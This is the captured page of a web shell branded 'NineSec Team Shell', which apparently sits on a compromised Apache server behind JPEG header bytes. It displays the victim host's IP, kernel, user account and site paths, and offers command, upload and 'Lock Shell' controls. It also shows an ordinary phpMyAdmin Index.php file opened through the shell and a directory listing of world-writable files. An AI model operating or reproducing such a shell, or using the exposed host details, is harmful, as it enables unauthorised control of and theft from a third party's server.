�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /home/readytorun/domains/demo.readytorun.it/public_html/phmad/libraries/classes/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/readytorun/domains/demo.readytorun.it/public_html/phmad/libraries/classes/Index.php
<?php

declare(strict_types=1);

namespace PhpMyAdmin;

use function __;
use function array_pop;
use function count;
use function htmlspecialchars;
use function strlen;

/**
 * Index manipulation class
 */
class Index
{
    public const PRIMARY = 1;
    public const UNIQUE = 2;
    public const INDEX = 4;
    public const SPATIAL = 8;
    public const FULLTEXT = 16;

    /**
     * Class-wide storage container for indexes (caching, singleton)
     *
     * @var array
     */
    private static $registry = [];

    /** @var string The name of the schema */
    private $schema = '';

    /** @var string The name of the table */
    private $table = '';

    /** @var string The name of the index */
    private $name = '';

    /**
     * Columns in index
     *
     * @var array
     */
    private $columns = [];

    /**
     * The index method used (BTREE, HASH, RTREE).
     *
     * @var string
     */
    private $type = '';

    /**
     * The index choice (PRIMARY, UNIQUE, INDEX, SPATIAL, FULLTEXT)
     *
     * @var string
     */
    private $choice = '';

    /**
     * Various remarks.
     *
     * @var string
     */
    private $remarks = '';

    /**
     * Any comment provided for the index with a COMMENT attribute when the
     * index was created.
     *
     * @var string
     */
    private $comment = '';

    /** @var int 0 if the index cannot contain duplicates, 1 if it can. */
    private $nonUnique = 0;

    /**
     * Indicates how the key is packed. NULL if it is not.
     *
     * @var string
     */
    private $packed = null;

    /**
     * Block size for the index
     *
     * @var int
     */
    private $keyBlockSize = null;

    /**
     * Parser option for the index
     *
     * @var string
     */
    private $parser = null;

    /**
     * @param array $params parameters
     */
    public function __construct(array $params = [])
    {
        $this->set($params);
    }

    /**
     * Creates(if not already created) and returns the corresponding Index object
     *
     * @param string $schema     database name
     * @param string $table      table name
     * @param string $index_name index name
     *
     * @return Index corresponding Index object
     */
    public static function singleton($schema, $table, $index_name = '')
    {
        self::loadIndexes($table, $schema);
        if (! isset(self::$registry[$schema][$table][$index_name])) {
            $index = new Index();
            if (strlen($index_name) > 0) {
                $index->setName($index_name);
                self::$registry[$schema][$table][$index->getName()] = $index;
            }

            return $index;
        }

        return self::$registry[$schema][$table][$index_name];
    }

    /**
     * returns an array with all indexes from the given table
     *
     * @param string $table  table
     * @param string $schema schema
     *
     * @return Index[]  array of indexes
     */
    public static function getFromTable($table, $schema)
    {
        self::loadIndexes($table, $schema);

        if (isset(self::$registry[$schema][$table])) {
            return self::$registry[$schema][$table];
        }

        return [];
    }

    /**
     * Returns an array with all indexes from the given table of the requested types
     *
     * @param string $table   table
     * @param string $schema  schema
     * @param int    $choices choices
     *
     * @return Index[] array of indexes
     */
    public static function getFromTableByChoice($table, $schema, $choices = 31)
    {
        $indexes = [];
        foreach (self::getFromTable($table, $schema) as $index) {
            if (($choices & self::PRIMARY) && $index->getChoice() === 'PRIMARY') {
                $indexes[] = $index;
            }

            if (($choices & self::UNIQUE) && $index->getChoice() === 'UNIQUE') {
                $indexes[] = $index;
            }

            if (($choices & self::INDEX) && $index->getChoice() === 'INDEX') {
                $indexes[] = $index;
            }

            if (($choices & self::SPATIAL) && $index->getChoice() === 'SPATIAL') {
                $indexes[] = $index;
            }

            if ((! ($choices & self::FULLTEXT)) || $index->getChoice() !== 'FULLTEXT') {
                continue;
            }

            $indexes[] = $index;
        }

        return $indexes;
    }

    /**
     * return primary if set, false otherwise
     *
     * @param string $table  table
     * @param string $schema schema
     *
     * @return Index|false primary index or false if no one exists
     */
    public static function getPrimary($table, $schema)
    {
        self::loadIndexes($table, $schema);

        if (isset(self::$registry[$schema][$table]['PRIMARY'])) {
            return self::$registry[$schema][$table]['PRIMARY'];
        }

        return false;
    }

    /**
     * Load index data for table
     *
     * @param string $table  table
     * @param string $schema schema
     */
    private static function loadIndexes($table, $schema): bool
    {
        global $dbi;

        if (isset(self::$registry[$schema][$table])) {
            return true;
        }

        $_raw_indexes = $dbi->getTableIndexes($schema, $table);
        foreach ($_raw_indexes as $_each_index) {
            $_each_index['Schema'] = $schema;
            $keyName = $_each_index['Key_name'];
            if (! isset(self::$registry[$schema][$table][$keyName])) {
                $key = new Index($_each_index);
                self::$registry[$schema][$table][$keyName] = $key;
            } else {
                $key = self::$registry[$schema][$table][$keyName];
            }

            $key->addColumn($_each_index);
        }

        return true;
    }

    /**
     * Add column to index
     *
     * @param array $params column params
     */
    public function addColumn(array $params): void
    {
        $key = $params['Column_name'] ?? $params['Expression'] ?? '';
        if (isset($params['Expression'])) {
            // The Expression only does not make the key unique, add a sequence number
            $key .= $params['Seq_in_index'];
        }

        if (strlen($key) <= 0) {
            return;
        }

        $this->columns[$key] = new IndexColumn($params);
    }

    /**
     * Adds a list of columns to the index
     *
     * @param array $columns array containing details about the columns
     */
    public function addColumns(array $columns): void
    {
        $_columns = [];

        if (isset($columns['names'])) {
            // coming from form
            // $columns[names][]
            // $columns[sub_parts][]
            foreach ($columns['names'] as $key => $name) {
                $sub_part = $columns['sub_parts'][$key] ?? '';
                $_columns[] = [
                    'Column_name' => $name,
                    'Sub_part' => $sub_part,
                ];
            }
        } else {
            // coming from SHOW INDEXES
            // $columns[][name]
            // $columns[][sub_part]
            // ...
            $_columns = $columns;
        }

        foreach ($_columns as $column) {
            $this->addColumn($column);
        }
    }

    /**
     * Returns true if $column indexed in this index
     *
     * @param string $column the column
     */
    public function hasColumn($column): bool
    {
        return isset($this->columns[$column]);
    }

    /**
     * Sets index details
     *
     * @param array $params index details
     */
    public function set(array $params): void
    {
        if (isset($params['columns'])) {
            $this->addColumns($params['columns']);
        }

        if (isset($params['Schema'])) {
            $this->schema = $params['Schema'];
        }

        if (isset($params['Table'])) {
            $this->table = $params['Table'];
        }

        if (isset($params['Key_name'])) {
            $this->name = $params['Key_name'];
        }

        if (isset($params['Index_type'])) {
            $this->type = $params['Index_type'];
        }

        if (isset($params['Comment'])) {
            $this->remarks = $params['Comment'];
        }

        if (isset($params['Index_comment'])) {
            $this->comment = $params['Index_comment'];
        }

        if (isset($params['Non_unique'])) {
            $this->nonUnique = $params['Non_unique'];
        }

        if (isset($params['Packed'])) {
            $this->packed = $params['Packed'];
        }

        if (isset($params['Index_choice'])) {
            $this->choice = $params['Index_choice'];
        } elseif ($this->name === 'PRIMARY') {
            $this->choice = 'PRIMARY';
        } elseif ($this->type === 'FULLTEXT') {
            $this->choice = 'FULLTEXT';
            $this->type = '';
        } elseif ($this->type === 'SPATIAL') {
            $this->choice = 'SPATIAL';
            $this->type = '';
        } elseif ($this->nonUnique == '0') {
            $this->choice = 'UNIQUE';
        } else {
            $this->choice = 'INDEX';
        }

        if (isset($params['Key_block_size'])) {
            $this->keyBlockSize = $params['Key_block_size'];
        }

        if (! isset($params['Parser'])) {
            return;
        }

        $this->parser = $params['Parser'];
    }

    /**
     * Returns the number of columns of the index
     *
     * @return int the number of the columns
     */
    public function getColumnCount()
    {
        return count($this->columns);
    }

    /**
     * Returns the index comment
     *
     * @return string index comment
     */
    public function getComment()
    {
        return $this->comment;
    }

    /**
     * Returns index remarks
     *
     * @return string index remarks
     */
    public function getRemarks()
    {
        return $this->remarks;
    }

    /**
     * Return the key block size
     *
     * @return int
     */
    public function getKeyBlockSize()
    {
        return $this->keyBlockSize;
    }

    /**
     * Return the parser
     *
     * @return string
     */
    public function getParser()
    {
        return $this->parser;
    }

    /**
     * Returns concatenated remarks and comment
     *
     * @return string concatenated remarks and comment
     */
    public function getComments()
    {
        $comments = $this->getRemarks();
        if (strlen($comments) > 0) {
            $comments .= "\n";
        }

        $comments .= $this->getComment();

        return $comments;
    }

    /**
     * Returns index type (BTREE, HASH, RTREE)
     *
     * @return string index type
     */
    public function getType()
    {
        return $this->type;
    }

    /**
     * Returns index choice (PRIMARY, UNIQUE, INDEX, SPATIAL, FULLTEXT)
     *
     * @return string index choice
     */
    public function getChoice()
    {
        return $this->choice;
    }

    /**
     * Returns a lit of all index types
     *
     * @return string[] index types
     */
    public static function getIndexTypes()
    {
        return [
            'BTREE',
            'HASH',
        ];
    }

    public function hasPrimary(): bool
    {
        return (bool) self::getPrimary($this->table, $this->schema);
    }

    /**
     * Returns how the index is packed
     *
     * @return string how the index is packed
     */
    public function getPacked()
    {
        return $this->packed;
    }

    /**
     * Returns 'No' if the index is not packed,
     * how the index is packed if packed
     *
     * @return string
     */
    public function isPacked()
    {
        if ($this->packed === null) {
            return __('No');
        }

        return htmlspecialchars($this->packed);
    }

    /**
     * Returns integer 0 if the index cannot contain duplicates, 1 if it can
     *
     * @return int 0 if the index cannot contain duplicates, 1 if it can
     */
    public function getNonUnique()
    {
        return $this->nonUnique;
    }

    /**
     * Returns whether the index is a 'Unique' index
     *
     * @param bool $as_text whether to output should be in text
     *
     * @return mixed whether the index is a 'Unique' index
     */
    public function isUnique($as_text = false)
    {
        if ($as_text) {
            $r = [
                '0' => __('Yes'),
                '1' => __('No'),
            ];
        } else {
            $r = [
                '0' => true,
                '1' => false,
            ];
        }

        return $r[$this->nonUnique];
    }

    /**
     * Returns the name of the index
     *
     * @return string the name of the index
     */
    public function getName()
    {
        return $this->name;
    }

    /**
     * Sets the name of the index
     *
     * @param string $name index name
     */
    public function setName($name): void
    {
        $this->name = (string) $name;
    }

    /**
     * Returns the columns of the index
     *
     * @return IndexColumn[] the columns of the index
     */
    public function getColumns()
    {
        return $this->columns;
    }

    /**
     * Gets the properties in an array for comparison purposes
     *
     * @return array an array containing the properties of the index
     */
    public function getCompareData()
    {
        $data = [
            'Packed' => $this->packed,
            'Index_choice' => $this->choice,
        ];

        foreach ($this->columns as $column) {
            $data['columns'][] = $column->getCompareData();
        }

        return $data;
    }

    /**
     * Function to check over array of indexes and look for common problems
     *
     * @param string $table  table name
     * @param string $schema schema name
     *
     * @return string  Output HTML
     */
    public static function findDuplicates($table, $schema)
    {
        $indexes = self::getFromTable($table, $schema);

        $output = '';

        // count($indexes) < 2:
        //   there is no need to check if there less than two indexes
        if (count($indexes) < 2) {
            return $output;
        }

        // remove last index from stack and ...
        while ($while_index = array_pop($indexes)) {
            // ... compare with every remaining index in stack
            foreach ($indexes as $each_index) {
                if ($each_index->getCompareData() !== $while_index->getCompareData()) {
                    continue;
                }

                // did not find any difference
                // so it makes no sense to have this two equal indexes

                $message = Message::notice(
                    __(
                        'The indexes %1$s and %2$s seem to be equal and one of them could possibly be removed.'
                    )
                );
                $message->addParam($each_index->getName());
                $message->addParam($while_index->getName());
                $output .= $message->getDisplay();

                // there is no need to check any further indexes if we have already
                // found that this one has a duplicate
                continue 2;
            }
        }

        return $output;
    }
}

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
September 11 2024 5:18:57
readytorun
0755
Charsets
--
September 11 2024 5:18:57
readytorun
0755
Command
--
September 11 2024 5:18:57
readytorun
0755
Config
--
September 11 2024 5:18:57
readytorun
0755
ConfigStorage
--
September 11 2024 5:18:57
readytorun
0755
Controllers
--
September 11 2024 5:18:57
readytorun
0755
Crypto
--
September 11 2024 5:18:57
readytorun
0755
Database
--
September 11 2024 5:18:57
readytorun
0755
Dbal
--
September 11 2024 5:18:57
readytorun
0755
Display
--
September 11 2024 5:18:57
readytorun
0755
Engines
--
September 11 2024 5:18:57
readytorun
0755
Exceptions
--
September 11 2024 5:18:57
readytorun
0755
Export
--
September 11 2024 5:18:57
readytorun
0755
Gis
--
September 11 2024 5:18:57
readytorun
0755
Html
--
September 11 2024 5:18:57
readytorun
0755
Http
--
September 11 2024 5:18:57
readytorun
0755
Image
--
September 11 2024 5:18:57
readytorun
0755
Import
--
September 11 2024 5:18:57
readytorun
0755
Navigation
--
September 11 2024 5:18:57
readytorun
0755
Partitioning
--
September 11 2024 5:18:57
readytorun
0755
Plugins
--
September 11 2024 5:18:57
readytorun
0755
Properties
--
September 11 2024 5:18:57
readytorun
0755
Providers
--
September 11 2024 5:18:57
readytorun
0755
Query
--
September 11 2024 5:18:57
readytorun
0755
Server
--
September 11 2024 5:18:57
readytorun
0755
Setup
--
September 11 2024 5:18:57
readytorun
0755
Table
--
September 11 2024 5:18:57
readytorun
0755
Twig
--
September 11 2024 5:18:57
readytorun
0755
Utils
--
September 11 2024 5:18:57
readytorun
0755
.htaccess
0.124 KB
November 14 2025 9:26:18
readytorun
0444
Advisor.php
12.317 KB
August 28 2023 5:04:12
readytorun
0777
Bookmark.php
9.188 KB
August 28 2023 5:04:12
readytorun
0777
BrowseForeigners.php
10.644 KB
August 28 2023 5:04:12
readytorun
0777
Cache.php
1.502 KB
August 28 2023 5:04:11
readytorun
0777
Charsets.php
6.823 KB
August 28 2023 5:04:12
readytorun
0777
CheckUserPrivileges.php
11.303 KB
August 28 2023 5:04:12
readytorun
0777
Common.php
19.156 KB
August 28 2023 5:04:12
readytorun
0777
Config.php
41.534 KB
August 28 2023 5:04:12
readytorun
0777
Console.php
3.251 KB
August 28 2023 5:04:12
readytorun
0777
Core.php
29.376 KB
August 28 2023 5:04:13
readytorun
0777
CreateAddField.php
15.951 KB
August 28 2023 5:04:11
readytorun
0777
DatabaseInterface.php
71.577 KB
August 28 2023 5:04:12
readytorun
0777
DbTableExists.php
2.859 KB
August 28 2023 5:04:12
readytorun
0777
Encoding.php
8.41 KB
August 28 2023 5:04:12
readytorun
0777
Error.php
13.626 KB
August 28 2023 5:04:12
readytorun
0777
ErrorHandler.php
18.225 KB
August 28 2023 5:04:12
readytorun
0777
ErrorReport.php
8.988 KB
August 28 2023 5:04:11
readytorun
0777
Export.php
45.555 KB
August 28 2023 5:04:11
readytorun
0777
FieldMetadata.php
11.244 KB
August 28 2023 5:04:12
readytorun
0777
File.php
19.745 KB
August 28 2023 5:04:11
readytorun
0777
FileListing.php
2.877 KB
August 28 2023 5:04:12
readytorun
0777
FlashMessages.php
1.217 KB
August 28 2023 5:04:12
readytorun
0777
Font.php
5.54 KB
August 28 2023 5:04:12
readytorun
0777
Footer.php
8.061 KB
August 28 2023 5:04:12
readytorun
0777
Git.php
17.859 KB
August 28 2023 5:04:11
readytorun
0777
Header.php
19.871 KB
August 28 2023 5:04:12
readytorun
0777
Import.php
48.719 KB
August 28 2023 5:04:11
readytorun
0777
Index.php
14.83 KB
August 28 2023 5:04:11
readytorun
0777
IndexColumn.php
4.755 KB
August 28 2023 5:04:12
readytorun
0777
InsertEdit.php
89.076 KB
August 28 2023 5:04:11
readytorun
0777
InternalRelations.php
17.314 KB
August 28 2023 5:04:11
readytorun
0777
IpAllowDeny.php
9.13 KB
August 28 2023 5:04:11
readytorun
0777
Language.php
4.473 KB
August 28 2023 5:04:12
readytorun
0777
LanguageManager.php
22.641 KB
August 28 2023 5:04:13
readytorun
0777
Linter.php
4.988 KB
August 28 2023 5:04:12
readytorun
0777
ListAbstract.php
1.669 KB
August 28 2023 5:04:11
readytorun
0777
ListDatabase.php
4.112 KB
August 28 2023 5:04:11
readytorun
0777
Logging.php
2.691 KB
August 28 2023 5:04:13
readytorun
0777
Menu.php
20.401 KB
August 28 2023 5:04:12
readytorun
0777
Message.php
18.68 KB
August 28 2023 5:04:13
readytorun
0777
Mime.php
0.896 KB
August 28 2023 5:04:12
readytorun
0777
Normalization.php
41.575 KB
August 28 2023 5:04:12
readytorun
0777
OpenDocument.php
8.619 KB
August 28 2023 5:04:11
readytorun
0777
Operations.php
35.114 KB
August 28 2023 5:04:12
readytorun
0777
OutputBuffering.php
4.099 KB
August 28 2023 5:04:13
readytorun
0777
ParseAnalyze.php
2.337 KB
August 28 2023 5:04:11
readytorun
0777
Pdf.php
4.174 KB
August 28 2023 5:04:12
readytorun
0777
Plugins.php
21.82 KB
August 28 2023 5:04:12
readytorun
0777
Profiling.php
2.158 KB
August 28 2023 5:04:11
readytorun
0777
RecentFavoriteTable.php
11.436 KB
August 28 2023 5:04:13
readytorun
0777
Replication.php
4.81 KB
August 28 2023 5:04:12
readytorun
0777
ReplicationGui.php
21.239 KB
August 28 2023 5:04:11
readytorun
0777
ReplicationInfo.php
4.792 KB
August 28 2023 5:04:11
readytorun
0777
ResponseRenderer.php
13.495 KB
August 28 2023 5:04:11
readytorun
0777
Routing.php
5.971 KB
August 28 2023 5:04:12
readytorun
0777
Sanitize.php
11.981 KB
August 28 2023 5:04:11
readytorun
0777
SavedSearches.php
11.328 KB
August 28 2023 5:04:12
readytorun
0777
Scripts.php
3.738 KB
August 28 2023 5:04:11
readytorun
0777
Session.php
8.162 KB
August 28 2023 5:04:11
readytorun
0777
Sql.php
63.988 KB
August 28 2023 5:04:12
readytorun
0777
SqlQueryForm.php
6.742 KB
August 28 2023 5:04:12
readytorun
0777
StorageEngine.php
15.723 KB
August 28 2023 5:04:12
readytorun
0777
SystemDatabase.php
3.98 KB
August 28 2023 5:04:11
readytorun
0777
Table.php
90.179 KB
August 28 2023 5:04:13
readytorun
0777
Template.php
4.505 KB
August 28 2023 5:04:12
readytorun
0777
Theme.php
7.319 KB
August 28 2023 5:04:12
readytorun
0777
ThemeManager.php
6.999 KB
August 28 2023 5:04:12
readytorun
0777
Tracker.php
30.337 KB
August 28 2023 5:04:12
readytorun
0777
Tracking.php
36.106 KB
August 28 2023 5:04:12
readytorun
0777
Transformations.php
16.314 KB
August 28 2023 5:04:12
readytorun
0777
TwoFactor.php
6.979 KB
August 28 2023 5:04:11
readytorun
0777
Types.php
24.739 KB
August 28 2023 5:04:12
readytorun
0777
Url.php
10.608 KB
August 28 2023 5:04:12
readytorun
0777
UrlRedirector.php
1.735 KB
August 28 2023 5:04:12
readytorun
0777
UserPassword.php
6.859 KB
August 28 2023 5:04:11
readytorun
0777
UserPreferences.php
10.488 KB
August 28 2023 5:04:12
readytorun
0777
Util.php
85.741 KB
August 28 2023 5:04:12
readytorun
0777
Version.php
0.543 KB
August 28 2023 5:04:12
readytorun
0777
VersionInformation.php
7.3 KB
August 28 2023 5:04:13
readytorun
0777
ZipExtension.php
10.334 KB
August 28 2023 5:04:12
readytorun
0777

NineSec Team - 2022